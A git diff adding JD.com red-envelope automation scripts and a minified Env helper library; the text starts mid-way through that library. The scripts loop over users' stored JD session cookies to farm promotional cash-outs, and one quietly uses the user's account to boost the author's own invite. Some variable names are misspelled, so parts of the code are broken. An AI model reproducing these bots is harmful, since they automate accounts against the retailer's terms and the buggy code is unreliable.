开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fcdyj.js b/backUp/jd_fcdyj.js new file mode 100644 index 0000000..8404e54 --- /dev/null +++ b/backUp/jd_fcdyj.js @@ -0,0 +1,317 @@ +/* +活动入口: 京东极速版-我的-发财大赢家 +https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#发财大赢家 +1 0 * 6 * https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "1 0 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js tag=翻翻乐 + +===============Surge================= +发财大赢家 = type=cron,cronexp="1 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js + +============小火箭========= +发财大赢家 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, cronexpr="1 0 * * *", timeout=3600, enable=true + + */ +const $ = new Env('发财大赢家'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openred = $.isNode() ? (process.env.openred ? process.env.openred : 1) : 1 //选择哪个号开包 +const dyjCode = $.isNode() ? (process.env.dyjCode ? process.env.dyjCode : null) : null //选择哪个号开包 +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//let code = +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com`; + + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + console.log("默认为号1开包/助力,号1为作者助力") + message = '' + $.helptype = 1 + $.needhelp = true + $.canDraw = false + $.canHelp = true; + $.linkid = "yMVR-_QKRd2Mq27xguJG-w" + //开包 查询 + for (let i = openred-1; i < openred; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.index = i + 1; + console.log(`\n******查询【京东账号${$.index}】红包情况\n`); + await getauthorid() + if (!dyjCode) { + console.log(`环境变量中没有检测到助力码,开始获取 账号${openred} 助力码`) + await open() + await getid() + } else { + dyjStr = dyjCode.split("@") + if (dyjStr[0]) { + $.rid = dyjDtr[0] + $.inviter = dyjStr[1] + } + } + await help($.authorid, $.authorinviter, 1, true) //用你开包的号给我助力一次 + } + } + + for (let i = 0; i < cookiesArr.length && $.needhelp; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.message = `【京东账号${$.index}】${$.UserName}\n` + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + } + if ($.rid && $.inviter && $.needhelp) { + await help($.rid, $.inviter, $.helptype) + } else { + console.log("没获取到助力码,停止运行") + } + } + for (let i = openred-1; i < openred; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.index = i + 1; + console.log(`\n******查询【京东账号${$.index}】红包情况\n`); + await getid() + if ($.canDraw) { + console.log("检测到已可兑换") + await Draw() + // i = 999 + } + } + } + //if($.type == 2){ + //for (let i = 0 ; i { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +function Draw() { + return new Promise(async (resolve) => { + let options = taskUrl("exchange", `{"linkId":"${$.linkid }","rewardType":1}`) + // console.log(options) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(data) + data = JSON.parse(data); + console.log(" 兑换结果:" + data.errMsg) + // $.drawresult = "提现结果:" + data.data.message + "\n" + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function getid() { + return new Promise(async (resolve) => { + let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + console.log(data.data.state) + if (data.success && data.data) { + if (data.data.state === 3) { + console.log("今日已成功兑换") + $.needhelp = false + } else { + if (data.data.state === 6) { + $.needhelp = false + $.canDraw = false + } + console.log(`获取成功redEnvelopeId: ${data.data.redEnvelopeId} \n markPin:${data.data.markedPin}`) + $.rid = data.data.redEnvelopeId + $.inviter = data.data.markedPin + } + console.log(`当前余额:${data.data.amount} 还需 ${data.data.needAmount} `) + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function help(rid, inviter, type, helpother) { + return new Promise(async (resolve) => { + let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}","redEnvelopeId":"${rid}","inviter":"${inviter}","helpType":"${type}"}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.data && data.data.helpResult) { + console.log(JSON.stringify(data.data.helpResult)) + if (!helpother) { + if (data.data.helpResult.code === 16005 || data.data.helpResult.code === 16007) { + $.needhelp = false + $.canDraw = true + } else if (data.data.helpResult.code === 16011) { + $.needhelp = false + } + } + } else { + console.log(JSON.stringify(data)) + } + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + +function open() { + return new Promise(async (resolve) => { + let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}"}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function getauthorid() { + return new Promise(async (resolve) => { + let options = { + url: "https://cdn.jsdelivr.net/gh/Wenmoux/scripts@wen/code/dyj.json", + headers: {} + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data) { + console.log(`获取作者🐎成功 ${data.rid}`) + $.authorid = data.rid + $.authorinviter = data.inviter + } + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fcffl.js b/backUp/jd_fcffl.js new file mode 100644 index 0000000..d5b44a6 --- /dev/null +++ b/backUp/jd_fcffl.js @@ -0,0 +1,303 @@ +/* +[task_local] +#翻翻乐 +1 0-23/1 * * * jd_fcffl.js +*/ +const $ = new Env('发财翻翻乐'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const money = $.isNode() ? (process.env.Openmoney ? process.env.Openmoney : 0.3) : 0.3 +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + message = "" + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.canDraw = true; + $.canOpen = true; + $.cash = 0 + $.prize = 0 + $.Hb = 0 + $.drawresult = ""; + $.linkid = "YhCkrVusBVa_O2K-7xE6hA" + $.message = `【京东账号${$.index}】${$.UserName}\n` + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let leftTime = await check() + if (leftTime != 0) { + console.log( `还没到开红包时间哦~剩余时间${parseInt(leftTime / 60000)}min~`) + } else { + console.log("时间已到,开始开红包") + await open("gambleOpenReward") + while ($.canOpen && $.canDraw) { + await open("gambleChangeReward") + await $.wait(500); + } + if ($.canDraw) { + console.log("金额已可提现,开始提现...") + $.message += `当前金额 ${$.reward.rewardValue}\n` + await open("gambleObtainReward", $.reward.rewardType) + await Draw($.reward.id, $.reward.poolBaseId, $.reward.prizeGroupId, $.reward.prizeBaseId, $.reward.prizeType) + await totalPrize() + message += $.message + `${$.drawresult}累计获得:¥${$.prize} 🧧${$.Hb} \n\n` + // await notify.sendNotify(`京东极速版大赢家翻倍红包提现`, `${$.message}`); + } + } + } + } + if ($.isNode()) { + if (message.length!=0) { + await notify.sendNotify("翻翻乐提现", `${message}`); + } + } + + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +function check() { + return new Promise(async (resolve) => { + let options = taskUrl("gambleHomePage", `{"linkId":"${$.linkid}"}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.code === 0) { + // resolve(data.data.leftTime) + let time = (parseInt(data.data.leftTime / 60000)) + if (data.data.leftTime < 1000 * 100) { + await $.wait(data.data.leftTime + 600); + console.log("马上就好") + resolve(0) + } else { + console.log("等你🐎呢") + resolve(data.data.leftTime) + } + console.log("查询成功 剩余时间:" + time + "min") + } else { + console.log(data) + resolve(6) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function totalPrize() { + return new Promise(async (resolve) => { + let options = taskUrl("gamblePrizeList", `{"linkId":"${$.linkid}","pageNum":1,"pageSize":999999}`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.items) { + for (item in data.data.items) { + reward = data.data.items[item] + if (reward.prizeType === 4) { + $.prize = $.prize + parseFloat(reward.amount) + if (reward.state === 0) { + console.log(`检测到有${reward.amount}未提现,尝试提现ing...`) + await Draw(reward.id, reward.poolBaseId, reward.prizeGroupId, reward.prizeBaseId, reward.prizeType) + await $.wait(500); + } + } else if (reward.prizeType === 2) { + $.Hb = $.Hb + Number(reward.amount) + } + // + } + console.log("查询成功 共提现:¥" + $.prize + " 🧧 " + $.Hb) + } else { + $essage += data.errMsg + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function open(functionid, type) { 